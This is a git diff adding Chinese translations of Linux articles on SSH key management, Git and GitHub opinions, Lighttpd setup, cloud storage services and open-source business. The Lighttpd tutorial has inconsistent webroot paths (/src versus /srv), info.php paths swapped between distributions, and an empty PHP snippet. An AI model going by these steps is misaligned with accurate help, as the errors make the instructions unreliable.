+- 多个用户登录到不同的服务器,每个都有自己的密钥 +- 每个用户使用多个密钥登录到不同的服务器 + +(如果你正在别的情况下使用密钥,这个同样的普适理论也能应用于如何使用密钥,需要多少密钥,它们是否共享,你如何处理公私钥等方面。) + +### 安全方法 + +了解你的基础设施和特有的情况,你需要组合一个密钥管理方案,它会指导你如何去分发和存储你的密钥。比如,正如我之前提到的,如果我的平板被偷了,我会从我服务器上删除公钥,我希望这在平板在用于访问服务器之前完成。同样的,我会在我的整体计划中考虑以下内容: + +1. 私钥可以放在移动设备上,但是必须包含口令; +2. 必须有一个可以快速地从服务器上删除公钥的方法。 + +在你的情况中,你可能决定你不想在自己经常登录的系统上使用口令;比如,这个系统可能是一个开发者一天登录多次的测试机器。这没有问题,但是你需要调整一点你的规则。你可以添加一条规则:不可以通过移动设备登录该机器。换句话说,你需要根据自己的状况构建你的准则,不要假设某个方案放之四海而皆准。 + +### 软件 + +至于软件,令人吃惊的是,现实世界中并没有很多好的、可靠的存储和管理私钥的软件解决方案。但是应该有吗?考虑下这个,如果你有一个程序存储你所有服务器的全部密钥,并且这个程序被一个快捷的密钥锁住,那么你的密钥就真的安全了吗?或者类似的,如果你的密钥被放置在你的硬盘上,用于 SSH 程序快速访问,密钥管理软件是否真正提供了任何保护吗? + +但是对于整体基础设施和创建/管理公钥来说,有许多的解决方案。我已经提到了 Puppet,在 Puppet 的世界中,你可以创建模块以不同的方式管理你的服务器。这个想法是服务器是动态的,而且不需要精确地复制彼此。[这里有一个聪明的方法](http://manuel.kiessling.net/2014/03/26/building-manageable-server-infrastructures-with-puppet-part-4/),在不同的服务器上使用相同的密钥,但是对于每一个用户使用不同的 Puppet 模块。这个方案可能适合你,也可能不适合你。 + +或者,另一个选择就是完全换个不同的档位。在 Docker 的世界中,你可以采取一个不同的方式,正如[关于 SSH 和 Docker 博客](http://blog.docker.com/2014/06/why-you-dont-need-to-run-sshd-in-docker/)所描述的那样。 + +但是怎么样管理私钥?如果你搜索过的话,你无法找到很多可以选择的软件,原因我之前提到过;私钥存放在你的硬盘上,一个管理软件可能无法提到更多额外的安全。但是我使用这种方法来管理我的密钥: + +首先,我的 `.ssh/config` 文件中有很多的主机项。我要登录的都有一个主机项,但是有时我对于一个单独的主机有不止一项。如果我有很多登录方式,就会出现这种情况。对于放置我的 git 库的服务器来说,我有两个不同的登录项;一个限制于 git,另一个用于一般用途的 bash 访问。这个为 git 设置的登录选项在机器上有极大的限制。还记得我之前说的我存储在远程开发机器上的 git 密钥吗?好了。虽然这些密钥可以登录到我其中一个服务器,但是使用的账号是被严格限制的。 + +其次,大部分的私钥都包含口令。(对于需要多次输入口令的情况,考虑使用 [ssh-agent](http://blog.docker.com/2014/06/why-you-dont-need-to-run-sshd-in-docker/)。) + +再次,我有一些我想要更加小心地保护的服务器,我不会把这些主机项放在我的 host 文件中。这更加接近于社会工程方面,密钥文件还在,但是可能需要攻击者花费更长的时间去找到这个密钥文件,分析出来它们对应的机器。在这种情况下,我就需要手动打出来一条长长的 SSH 命令。(没那么可怕。) + +同时你可以看出来我没有使用任何特别的软件去管理这些私钥。 + +## 无放之四海而皆准的方案 + +我们偶尔会在 linux.com 收到一些问题,询问管理密钥的好软件的建议。但是退一步看,这个问题事实上需要重新思考,因为没有一个普适的解决方案。你问的问题应该基于你自己的状况。你是否简单地尝试找到一个位置去存储你的密钥文件?你是否寻找一个方法去管理多用户问题,其中每个人都需要将他们自己的公钥插入到 `authorized_keys` 文件中? + +通过这篇文章,我已经囊括了这方面的基础知识,希望到此你明白如何管理你的密钥,并且,只有当你问出了正确的问题,无论你寻找任何软件(甚至你需要另外的软件),它都会出现。 + +------------------------------------------------------------------------------ + +via: http://www.linux.com/learn/tutorials/838235-how-to-best-manage-encryption-keys-on-linux + +作者:[Jeff Cogswell][a] +译者:[mudongliang](https://github.com/mudongliang) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.linux.com/community/forums/person/62256 diff --git a/published/201607/20160218 What do Linux developers think of Git and GitHub.md b/published/201607/20160218 What do Linux developers think of Git and GitHub.md new file mode 100644 index 0000000000..1824c6e19e --- /dev/null +++ b/published/201607/20160218 What do Linux developers think of Git and GitHub.md @@ -0,0 +1,110 @@ +Linux 开发者如何看待 Git 和 Github? +===================================================== + +### Linux 开发者如何看待 Git 和 Github? + +Git 和 Github 在 Linux 开发者中有很高的知名度。但是开发者如何看待它们呢?另外,Github 是不是真的和 Git 是一个意思?一个 Linux reddit 用户最近问到了这个问题,并且得到了很有意思的答案。 + +Dontwakemeup46 提问: + +> 我正在学习 Git 和 Github。我感兴趣社区如何看待两者?据我所知,Git 和 Github 应用十分广泛。但是 Git 或 Github 有没有严重的不足?社区喜欢去改变些什么呢? + +[更多见 Reddit](https://www.reddit.com/r/linux/comments/45jy59/the_popularity_of_git_and_github/) + +与他志同道合的 Linux reddit 用户回答了他们对于 Git 和 Github的观点: + +>**Derenir**: “Github 并不附属于 Git。 + +> Git 是由 Linus Torvalds 开发的。 + +> Github 几乎不支持 Linux。 + +> Github 是一家企图借助 Git 赚钱的公司。 + +> https://desktop.github.com/ 并没有支持 Linux。” + +--- +>**Bilog78**: “一个小的补充: Linus Torvalds 已经不再维护 Git了。维护者是 Junio C Hamano,以及 在他之后的主要贡献者是 Jeff King 和 Shawn O. Pearce。” + +--- + +>**Fearthefuture**: “我喜欢 Git,但是不明白人们为什么还要使用 Github。从我的角度,Github 比 Bitbucket 好的一点是用户统计和更大的用户基础。Bitbucket 有无限的免费私有库,更好的 UI,以及更好地集成了其他服务,比如说 Jenkins。” + +--- + +>**Thunger**: “Gitlab.com 也很不错,特别是你可以在自己的服务器上架设自己的实例。” + +--- + +>**Takluyver**: “很多人熟悉 Github 的 UI 以及相关联的服务,比如说 Travis 。并且很多人都有 Github 账号,所以它是存储项目的一个很好的地方。人们也使用他们的 Github 个人信息页作为一种求职用的作品选辑,所以他们很积极地将更多的项目放在这里。Github 是一个存放开源项目的事实标准。” + +--- + +>**Tdammers**: “Git 严重问题在于 UI,它有些违反直觉,以至于很多用户只能达到使用一些容易记住的咒语的程度。” + +> Github:最严重的问题在于它是商业托管的解决方案;你买了方便,但是代价是你的代码在别人的服务器上面,已经不在你的掌控范围之内了。另一个对于 Github 的普遍批判是它的工作流和 Git 本身的精神不符,特别是 pull requests 工作的方式。最后, Github 垄断了代码的托管环境,同时对于多样性是很不好的,这反过来对于旺盛的免费软件社区很重要。” + +--- + +>**Dies**: “更重要的是,如果一旦是这样,按照现状来说,我猜我们会被 Github 所困,因为它们控制如此多的项目。” + +--- + +>**Tdammers**: “代码托管在别人的服务器上,这里"别人"指的是 Github。这对于开源项目来说,并不是什么太大的问题,但是尽管如此,你无法控制它。如果你在 Github 上有私有项目,“它将保持私有”的唯一的保险只是 Github 的承诺而已。如果你决定删除东西,你不能确定东西是否被删除了,或者只是隐藏了。 + +Github 并不自己控制这些项目(你总是可以拿走你的代码,然后托管到别的地方,声明新位置是“官方”的),它只是有比开发者本身有更深的使用权。” + +--- + +>**Drelos**: “我已经读了大量的关于 Github 的赞美与批评。(这里有一个[例子](http://www.wired.com/2015/06/problem-putting-worlds-code-github/)),但是我的幼稚问题是为什么不向一个免费开源的版本努力呢?” + +--- + +>**Twizmwazin**: “Gitlab 的源码就存在这里” + +--- + +[更多见 Reddit](https://www.reddit.com/r/linux/comments/45jy59/the_popularity_of_git_and_github/) + +### DistroWatch 评估 XStream 桌面 153 版本 + +XStreamOS 是一个由 Sonicle 创建的 Solaris 的一个版本。XStream 桌面将 Solaris 的强大带给了桌面用户,同时新手用户很可能有兴趣体验一下。DistroWatch 对于 XStream 桌面 153 版本做了一个很全面的评估,并且发现它运行相当好。 + +Jesse Smith 为 DistroWatch 报道: + +> 我认为 XStream 桌面做好了很多事情。诚然,当操作系统无法在我的硬件上启动,同时当运行在 VirtualBox 中时我无法使得桌面使用我显示器的完整分辨率,我的开端并不很成功。不过,除此之外,XStream 表现的很好。安装器工作的很好,该系统自动设置和使用了引导环境(boot environments),这让我们可以在发生错误时恢复该系统。包管理器有工作的不错, XStream 带了一套有用的软件。 + +> 我确实在播放多媒体文件时遇见一些问题,特别是使声卡工作。我不确定这是不是又一个硬件兼容问题,或者是该操作系统自带的多媒体软件的问题。另一方面,像 Web 浏览器,电子邮件,生产工具套件以及配置工具这样的工作的很好。 + +> 我最欣赏 XStream 的地方是这个操作系统是 OpenSolaris 家族的一个使用保持最新的分支。OpenSolaris 的其他衍生系统有落后的倾向,但是至少在桌面软件上,XStream 搭载最新版本的火狐和 LibreOffice。 + +> 对我个人来说,XStream 缺少一些组件,比如打印机管理器,多媒体支持和我的特定硬件的驱动。这个操作系统的其他方面也是相当吸引人的。我喜欢开发者搭配了 LXDE,也喜欢它的默认软件集,以及我最喜欢文件系统快照和启动环境开箱即用的方式。大多数的 Linux 发行版,openSUSE 除外,并没有利用好引导环境(boot environments)的用途。我希望它是一个被更多项目采用的技术。 + +[更多见 DistroWatch](http://distrowatch.com/weekly.php?issue=20160215#xstreamos) + +### 街头霸王 V 和 SteamOS + +街头霸王是最出名的游戏之一,并且 [Capcom 已经宣布](http://steamcommunity.com/games/310950/announcements/detail/857177755595160250) 街头霸王 V 将会在这个春天进入 Linux 和 StreamOS。这对于 Linux 游戏者是非常好的消息。 + +Joe Parlock 为 Destructoid 报道: + +> 你是不足 1% 的那些在 Linux 系统上玩游戏的 Stream 用户吗?你是更少数的那些在 Linux 平台上玩游戏,同时也很喜欢街头霸王 V 的人之一吗?是的话,我有一些好消息要告诉你。 + +> Capcom 已经宣布,这个春天街头霸王 V 通过 Stream 进入 StreamOS 以及其他 Linux 发行版。它无需任何额外的花费,所以那些已经在自己的个人电脑上安装了该游戏的人可以很容易在 Linux 上安装它并玩了。 + +[更多 Destructoid](https://www.destructoid.com/street-fighter-v-is-coming-to-linux-and-steamos-this-spring-341531.phtml) + +你是否错过了摘要?检查 [开源之眼的主页](http://www.infoworld.com/blog/eye-on-open/) 来获得关于 Linux 和开源的最新的新闻。 + +------------------------------------------------------------------------------ + +via: http://www.infoworld.com/article/3033059/linux/what-do-linux-developers-think-of-git-and-github.html + +作者:[Jim Lynch][a] +译者:[mudongliang](https://github.com/mudongliang) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.infoworld.com/author/Jim-Lynch/ + diff --git a/published/201607/20160219 How to Setup Lighttpd Web server on Ubuntu 15.04 or CentOS 7.md b/published/201607/20160219 How to Setup Lighttpd Web server on Ubuntu 15.04 or CentOS 7.md new file mode 100644 index 0000000000..3db9318138 --- /dev/null +++ b/published/201607/20160219 How to Setup Lighttpd Web server on Ubuntu 15.04 or CentOS 7.md @@ -0,0 +1,213 @@ +如何在 Ubuntu 15.04/CentOS 7 中安装 Lighttpd Web 服务器 +================================================================================= + +Lighttpd 是一款开源 Web 服务器软件。Lighttpd 安全快速,符合行业标准,适配性强并且针对高配置环境进行了优化。相对于其它的 Web 服务器而言,Lighttpd 占用内存更少;因其对 CPU 占用小和对处理速度的优化而在效率和速度方面从众多 Web 服务器中脱颖而出。而 Lighttpd 诸如 FastCGI、CGI、认证、输出压缩、URL 重写等高级功能更是那些面临性能压力的服务器的福音。 + +以下便是我们在运行 Ubuntu 15.04 或 CentOS 7 Linux 发行版的机器上安装 Lighttpd Web 服务器的简要流程。 + +### 安装Lighttpd + +#### 使用包管理器安装 + +这里我们通过使用包管理器这种最简单的方法来安装 Lighttpd。只需以 sudo 模式在终端或控制台中输入下面的指令即可。 + +**CentOS 7** + +由于 CentOS 7.0 官方仓库中并没有提供 Lighttpd,所以我们需要在系统中安装额外的软件源 epel 仓库。使用下面的 yum 指令来安装 epel。 + + # yum install epel-release + +然后,我们需要更新系统及为 Lighttpd 的安装做前置准备。 + + # yum update + # yum install lighttpd + +![Install Lighttpd Centos](http://blog.linoxide.com/wp-content/uploads/2016/02/install-lighttpd-centos.png) + +**Ubuntu 15.04** + +Ubuntu 15.04 官方仓库中包含了 Lighttpd,所以只需更新本地仓库索引并使用 apt-get 指令即可安装 Lighttpd。 + + # apt-get update + # apt-get install lighttpd + +![Install lighttpd ubuntu](http://blog.linoxide.com/wp-content/uploads/2016/02/install-lighttpd-ubuntu.png) + +#### 从源代码安装 Lighttpd + +如果想从 Lighttpd 源码安装最新版本(例如 1.4.39),我们需要在本地编译源码并进行安装。首先我们要安装编译源码所需的依赖包。 + + # cd /tmp/ + # wget http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.39.tar.gz + +下载完成后,执行下面的指令解压缩。 + + # tar -zxvf lighttpd-1.4.39.tar.gz + +然后使用下面的指令进行编译。 + + # cd lighttpd-1.4.39 + # ./configure + # make + +**注:**在这份教程中,我们安装的是默认配置的 Lighttpd。其他拓展功能,如对 SSL 的支持,mod_rewrite,mod_redirect 等,需自行配置。 + +当编译完成后,我们就可以把它安装到系统中了。 + + # make install + +### 设置 Lighttpd + +如果有更高的需求,我们可以通过修改默认设置文件,如`/etc/lighttpd/lighttpd.conf`,来对 Lighttpd 进行进一步设置。 而在这份教程中我们将使用默认设置,不对设置文件进行修改。如果你曾做过修改并想检查设置文件是否出错,可以执行下面的指令。 + + # lighttpd -t -f /etc/lighttpd/lighttpd.conf + +#### 使用 CentOS 7 + +在 CentOS 7 中,我们需创建一个在 Lighttpd 默认配置文件中设置的 webroot 文件夹,例如`/src/www/htdocs`。 + + # mkdir -p /srv/www/htdocs/ + +而后将默认欢迎页面从`/var/www/lighttpd`复制至刚刚新建的目录中: + + # cp -r /var/www/lighttpd/* /srv/www/htdocs/ + +### 开启服务 + +现在,通过执行 systemctl 指令来重启 Web 服务。 + + # systemctl start lighttpd + +然后我们将它设置为伴随系统启动自动运行。 + + # systemctl enable lighttpd + +### 设置防火墙 + +如要让我们运行在 Lighttpd 上的网页或网站能在 Internet 或同一个网络内被访问,我们需要在防火墙程序中设置打开 80 端口。由于 CentOS 7 和 Ubuntu15.04 都附带 Systemd 作为默认初始化系统,所以我们默认用的都是 firewalld。如果要打开 80 端口或 http 服务,我们只需执行下面的命令: + + # firewall-cmd --permanent --add-service=http + success + # firewall-cmd --reload + success + +### 连接至 Web 服务器 + +在将 80 端口设置为默认端口后,我们就可以直接访问 Lighttpd 的默认欢迎页了。我们需要根据运行 Lighttpd 的设备来设置浏览器的 IP 地址和域名。在本教程中,我们令浏览器访问 [http://lighttpd.linoxide.com/](http://lighttpd.linoxide.com/) ,同时将该子域名指向上述 IP 地址。如此一来,我们就可以在浏览器中看到如下的欢迎页面了。 + +![Lighttpd Welcome Page](http://blog.linoxide.com/wp-content/uploads/2016/02/lighttpd-welcome-page.png) + +此外,我们可以将网站的文件添加到 webroot 目录下,并删除 Lighttpd 的默认索引文件,使我们的静态网站可以在互联网上访问。 + +如果想在 Lighttpd Web 服务器中运行 PHP 应用,请参考下面的步骤: + +### 安装 PHP5 模块 + +在 Lighttpd 成功安装后,我们需要安装 PHP 及相关模块,以在 Lighttpd 中运行 PHP5 脚本。 + +#### 使用 Ubuntu 15.04 + + # apt-get install php5 php5-cgi php5-fpm php5-mysql php5-curl php5-gd php5-intl php5-imagick php5-mcrypt php5-memcache php-pear + +#### 使用 CentOS 7 + + # yum install php php-cgi php-fpm php-mysql php-curl php-gd php-intl php-pecl-imagick php-mcrypt php-memcache php-pear lighttpd-fastcgi + +### 设置 Lighttpd 的 PHP 服务 + +如要让 PHP 与 Lighttpd 协同工作,我们只要根据所使用的发行版执行如下对应的指令即可。 + +#### 使用 CentOS 7 + +首先要做的便是使用文件编辑器编辑 php 设置文件(例如`/etc/php.ini`)并取消掉对**cgi.fix_pathinfo=1**这一行的注释。 + + # nano /etc/php.ini + +完成上面的步骤之后,我们需要把 PHP-FPM 进程的所有权从 Apache 转移至 Lighttpd。要完成这些,首先用文件编辑器打开`/etc/php-fpm.d/www.conf`文件。 + + # nano /etc/php-fpm.d/www.conf + +然后在文件中增加下面的语句: + + user = lighttpd + group = lighttpd + +做完这些,我们保存并退出文本编辑器。然后从`/etc/lighttpd/modules.conf`设置文件中添加 FastCGI 模块。 + + # nano /etc/lighttpd/modules.conf + +然后,去掉下面语句前面的`#`来取消对它的注释。 + + include "conf.d/fastcgi.conf" + +最后我们还需在文本编辑器设置 FastCGI 的设置文件。 + + # nano /etc/lighttpd/conf.d/fastcgi.conf + +在文件尾部添加以下代码: + + fastcgi.server += ( ".php" => + (( + "host" => "127.0.0.1", + "port" => "9000", + "broken-scriptfilename" => "enable" + )) + ) + +在编辑完成后保存并退出文本编辑器即可。 + +#### 使用 Ubuntu 15.04 + +如需启用 Lighttpd 的 FastCGI,只需执行下列代码: + + # lighttpd-enable-mod fastcgi + + Enabling fastcgi: ok + Run /etc/init.d/lighttpd force-reload to enable changes + + # lighttpd-enable-mod fastcgi-php + + Enabling fastcgi-php: ok + Run `/etc/init.d/lighttpd` force-reload to enable changes + +然后,执行下列命令来重启 Lighttpd。 + + # systemctl force-reload lighttpd + +### 检测 PHP 工作状态 + +如需检测 PHP 是否按预期工作,我们需在 Lighttpd 的 webroot 目录下新建一个 php 文件。本教程中,在 Ubuntu 下 /var/www/html 目录,CentOS 下 /src/www/htdocs 目录下使用文本编辑器创建并打开 info.php。 + +**使用 CentOS 7** + + # nano /var/www/info.php + +**使用 Ubuntu 15.04** + + # nano /srv/www/htdocs/info.php + +然后只需将下面的语句添加到文件里即可。 + + + +在编辑完成后保存并推出文本编辑器即可。 + +现在,我们需根据路径 [http://lighttpd.linoxide.com/info.php](http://lighttpd.linoxide.com/info.php) 下的 info.php 文件的 IP 地址或域名,来让我们的网页浏览器指向系统上运行的 Lighttpd。如果一切都按照以上说明进行,我们将看到如下图所示的 PHP 页面信息。 + +![phpinfo lighttpd](http://blog.linoxide.com/wp-content/uploads/2016/02/phpinfo-lighttpd.png) + +### 总结 + +至此,我们已经在 CentOS 7 和 Ubuntu 15.04 Linux 发行版上成功安装了轻巧快捷并且安全的 Lighttpd Web 服务器。现在,我们已经可以上传网站文件到网站根目录、配置虚拟主机、启用 SSL、连接数据库,在我们的 Lighttpd Web 服务器上运行 Web 应用等功能了。 如果你有任何疑问,建议或反馈请在下面的评论区中写下来以让我们更好的改良 Lighttpd。谢谢! + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/setup-lighttpd-web-server-ubuntu-15-04-centos-7/ + +作者:[Arun Pyasi][a] +译者:[HaohongWANG](https://github.com/HaohongWANG) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ diff --git a/published/201607/20160220 Best Cloud Services For Linux To Replace Copy.md b/published/201607/20160220 Best Cloud Services For Linux To Replace Copy.md new file mode 100644 index 0000000000..a43c5776e8 --- /dev/null +++ b/published/201607/20160220 Best Cloud Services For Linux To Replace Copy.md @@ -0,0 +1,136 @@ +替代 Copy 的 Linux 最佳云服务 +=============================================== + +![](http://itsfoss.com/wp-content/uploads/2016/02/Linux-cloud-services.jpg) + +云存储服务 Copy 已经关闭,我们 Linux 用户是时候该寻找其他优秀的** Copy 之外的 Linux 云存储服务**。 + +全部文件会在 2016年5月1号 被删除。如果你是 Copy 的用户,你应该保存你的文件并将它们移至其他地方。 + +在过去的两年里,Copy 已经成为了我最喜爱的云存储。它为我提供了大量的免费空间并且带有桌面平台的原生应用程序,包括 Linux 和移动平台如 iOS 和 Android。 + +对我来说,它是一个非常棒的云存储,在应用中我获得了大量的免费存储空间(380 GB)并且享受着桌面系统和移动系统之间的无缝体验。但是这些'方便免费的存储',15 GB 为注册,5 GB 为每次推荐,使我想到如果 Copy 没有获得商业用户,他们将会马上停业。如此巨大的免费存储空间仅意味着他们没有像 Dropbox 所做的一样针对个别用户。 + +当我从 Copy.com 看到它即将关闭的消息,我的担忧成真了。事实上,Copy 并不孤独。它的母公司 [Barracuda Networks](https://www.barracuda.com/)正经历一段困难时期并且已经[雇佣 Morgan Stanely 寻找 合适的卖家](http://www.bloomberg.com/news/articles/2016-02-01/barracuda-networks-said-to-work-with-morgan-stanley-to-seek-sale)(s) + +无论什么理由,我们所知道的是 Copy 将会成为历史,我们需要寻找相似的**优秀的 Linux 云服务**。我之所以强调 Linux 是因为其他流行的云存储服务,如[微软的 OneDrive](https://onedrive.live.com/about/en-us/) 和 [Google Drive](https://www.google.com/drive/) 都没有提供本地 Linux 客户端。微软并没有出乎我们的预料,但是[谷歌对 Linux 的冷漠][1]令人震惊。 + +## Linux 下 Copy 的最佳替代者 + +什么样的云服务才适合作为 Linux 下的存储服务?让我们猜猜: + +- 大量的免费空间。毕竟,个人用户无法支付每月的巨额款项。 +- 原生的 Linux 客户端。以便你能够方便的在服务器之间同步文件,而不用做一些特殊的调整或者定时执行脚本。 +- 其他桌面系统的客户端,比如 Windows 和 OS X。移动性是必要的,并且同步设备间的文件也很有必要。 +- 基于 Android 和 iOS 的移动应用程序。在今天的现代世界里,你需要连接所有设备。 + +我不将自托管的云服务计算在内,比如 OwnCloud 或 [Seafile](https://www.seafile.com/en/home/) ,因为它们需要自己建立和运行一个服务器。这不适合所有想要类似 Copy 的云服务的家庭用户。 + +让我们看看可以用于替代 Linux 下 Copy.com 的服务有什么。 + +## Mega + +![](http://itsfoss.com/wp-content/uploads/2016/02/Mega-Linux.jpg) + +如果你是一个 It’s FOSS 的普通读者,你可能已经看过我之前的一篇有关 [Mega on Linux](http://itsfoss.com/install-mega-cloud-storage-linux/)的文章。这种云服务由 [Megaupload scandal](https://en.wikipedia.org/wiki/Megaupload) 公司下臭名昭著的 [Kim Dotcom](https://en.wikipedia.org/wiki/Kim_Dotcom) 提供。这也使一些用户怀疑它,因为 Kim Dotcom 已经很长一段时间成为美国当局的目标。 + +Mega 拥有方便免费云服务下你所期望的一切。它给每个个人用户提供 50 GB 的免费存储空间。提供Linux 和其他平台下的原生客户端,并带有端到端的加密。原生的 Linux 客户端运行良好,可以无缝地跨平台同步。你也能在浏览器上查看操作你的文件。 + +### 优点: + +- 50 GB 的免费存储空间 +- 端到端的加密 +- Linux 和其他平台下的原生客户端,例如 Windows,Mac OS X,Android,iOS + +### 缺点: + +- Mega 拥有者见不得人的过去 + +[Mega](https://mega.nz/) + +## Hubic + +![](http://itsfoss.com/wp-content/uploads/2016/02/hubic.jpeg) + +Hubic 是一个来自法国公司的云服务。Hubic 在注册时也提供了 25 GB 免费存储空间。你可以通过推荐Hubic给朋友将空间扩大至 50 GB (对免费用户来说)。 + +Hubic 提供 Linux 客户端,其还是 beta 版本(至今已经两年了)。Hubic 拥有官方的 Linux 客户端,但是它局限在命令行。我没有去测试移动版本。 + +Hubic 拥有一些不错的功能。除了简单的用户界面、文件共享等等,它还有备份的功能,你可以定期地归档你的重要文件。 + +### 优点: + +- 25 GB 免费存储空间,可扩大至 50 GB +- 支持多个平台 +- 备份功能 + +### 缺点: + +- beta 版本的 Linux 客户端,只支持命令行 + +[Hubic](https://hubic.com/) + +## pCloud + +![](http://itsfoss.com/wp-content/uploads/2016/02/pCloud-Linux.jpeg) + +pCloud 是另一款欧洲的发行软件,但这一次跨过了法国边境,它来自瑞士。专注于加密和安全,pCloud 为每一个注册者提供 10 GB 的免费存储空间。你可以通过邀请好友、在社交媒体上分享链接等方式将空间增加至 20 GB。 + +它拥有云服务的所有标准特性,例如文件共享、同步、选择性同步等等。pCloud 也有跨平台原生客户端,当然包括 Linux。 + +Linux 客户端 容易使用,并在 Linux Mint 17.3 下的有限测试中表现良好。 + +### 优点: + +- 10 GB 免费存储空间,可扩大至 20 GB +- 运行良好的带有 GUI 的 Linux 客户端 + +### 缺点: + +- 加密是一个付费功能 + +[pCloud](https://www.pcloud.com/) + +## Yandex Disk + +![](http://itsfoss.com/wp-content/uploads/2016/02/Yandex.jpg) + +俄罗斯互联网巨人 Yandex 拥有 Google 所拥有的一切东西。搜索引擎、分析学、网站管理工具、邮箱、网页浏览器和云存储服务。 + +Yandex Disk 在注册时提供了 10 GB 的免费云存储空间。它有多平台的原生客户端,包括 Linux。然而,官方的 Linux 客户端只是命令行而已。你可以获取[非官方的 GUI 版本的 Yandex Disk 客户端](https://mintguide.org/tools/265-yd-tools-gui-indicator-for-yandexdisk-free-cloud-storage-in-linux-mint.html)。Yandex Disk 支持文件共享链接,同时带有其他标准的云存储特性。 + +### 优点: + +- 10 GB 的免费存储空间,可通过推荐的方式扩大至 20 GB + +### 缺点: + +- 只有命令行客户端 + +[Yandex Disk](https://disk.yandex.com/) + +## 公正而深思熟虑的删节 + +我从列表中删减了[Dropbox](https://www.dropbox.com/)、[SpiderOak](https://spideroak.com/)。Dropbox 对 Linux 来说非常优秀,但是它的免费存储空间限制在 2 GB。在过去的几年里,我已设法将其扩大超过 21 GB,但那又是另一件事了。 + +SpiderOak 也仅提供了 2 GB 的免费存储空间,你无法在网页浏览器上操作文件。 + +OwnCloud 需要属于自己的服务器包括建立,因此它并非人见人爱。并且它确切不符合一个典型云服务的标准。 + +## 结论 + +如果你问我应该使用什么替代 Copy,我的答案是 Mega。它带有大量的免费云存储空间和优秀的 Linux 客户端。在** Linux 下最佳云存储服务**的列表中,你的选择是什么?你更喜欢哪一个呢? + + +------------------------------------------------------------------------------ + +via: http://itsfoss.com/cloud-services-linux/ + +作者:[ABHISHEK][a] +译者:[cposture](https://github.com/cposture) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:https://itsfoss.com/google-hates-desktop-linux/ \ No newline at end of file diff --git a/published/201607/20160301 The Evolving Market for Commercial Software Built On Open Source.md b/published/201607/20160301 The Evolving Market for Commercial Software Built On Open Source.md new file mode 100644 index 0000000000..fa3448b1bb --- /dev/null +++ b/published/201607/20160301 The Evolving Market for Commercial Software Built On Open Source.md @@ -0,0 +1,37 @@ +构建在开源之上的商业软件市场持续成长 +===================================================================== + +![](https://www.linux.com/images/stories/41373/Structure-event-photo.jpg) + +*与会者在 Structure 上听取演讲,Structure Data 2016 也将在 UCSF Mission Bay 会议中心举办。图片来源:Structure Events。* + +如今真的很难低估开源项目对于企业软件市场的影响;开源软件的集成如此快速地形成了业界常态,我们没能捕捉到转折点也情有可原。 + +举个例子,Hadoop,改变的不止是数据分析界,它引领了新一代数据公司,它们围绕开源项目创造自己的软件,按需调整和支持那些代码,更像红帽在上世纪 90 年代和本世纪早期拥抱 Linux 那样。软件越来越多地通过公有云交付,而不是运行在购买者自己的服务器,拥有了令人惊奇的操作灵活性,但同时也带来了一些关于授权、支持以及价格之类的新问题。 + +我们多年来持续追踪这个趋势,这些话题充斥了我们的 Structure Data 会议,而今年的 Structure Data 2016 也不例外。三家围绕 Hadoop 最重要的大数据公司——Hortonworks、Cloudera 和 MapR ——的 CEO 们将会共同讨论它们是如何销售他们围绕开源项目的企业软件和服务,获利的同时回报社区项目。 + +以前在企业软件上获利是很容易的事情。一个客户购买了之后,企业供应商的一系列软件就变成了收银机,从维护合同和阶段性升级中获得近乎终生的收入,软件也越来越难以被替代,因为它已经成为了客户的业务核心。客户抱怨这种绑定,但如果它们想提高工作队伍的生产力也确实没有多少选择。 + +而现在的情况不再是这样了。尽管无数的公司还陷于在他们的基础设施上运行至关重要的巨型软件包,新的项目被部署到使用开源技术的云服务器上。这让升级功能不再需要去掉大量软件包再重新安装别的,同时也让公司按需付费,而不是为一堆永远用不到的特性买单。 + +有很多客户想要利用开源项目的优势,而又不想建立和支持一支工程师队伍来调整那些开源项目以满足自己的需求。这些客户愿意为开源项目和在这之上的专有特性之间的差异付费。 + +这对于基础设施相关的软件来说格外正确。当然,你的客户们可以自己对项目进行调整,比如 Hadoop,Spark 或 Node.js,但付费可以帮助他们自定义地打包部署如今这些重要的开源技术,而不用自己干这些活儿。只需看看 Structure Data 2016 的发言者就明白了,比如 Confluent(Kafka),Databricks(Spark),以及 Cloudera-Hortonworks-MapR(Hadoop)三人组。 + +当然还有一个值得提到的是在出错的时候有个供应商给你背锅。如果你的工程师弄糟了开源项目的实现,那你只能怪你自己了。但是如果你和一个愿意提供服务级品质、能确保性能和正常运行时间指标的公司签订了合同,你实际上就是为得到支持、指导,以及有人背锅而买单。 + +构建在开源之上的商业软件市场的持续成长是我们在 Structure Data 上追踪多年的内容,如果这个话题正合你意,我们鼓励你加入我们,在旧金山,3 月 9 日和 10 日。 + + +-------------------------------------------------------------------------------- + +via: https://www.linux.com/news/enterprise/cloud-computing/889564-the-evolving-market-for-commercial-software-built-on-open-source- + +作者:[Tom Krazit][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linux.com/community/forums/person/70513 diff --git a/published/201607/20160303 Top 5 open source command shells for Linux.md b/published/201607/20160303 Top 5 open source command shells for Linux.md new file mode 100644 index 0000000000..ec6aa3517a --- /dev/null +++ b/published/201607/20160303 Top 5 open source command shells for Linux.md @@ -0,0 +1,86 @@ +Linux 下五个顶级的开源命令行 Shell +=============================================== + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/terminal_blue_smoke_command_line_0.jpg?itok=u2mRRqOa) + +这个世界上有两种 Linux 用户:敢于冒险的和态度谨慎的。 + 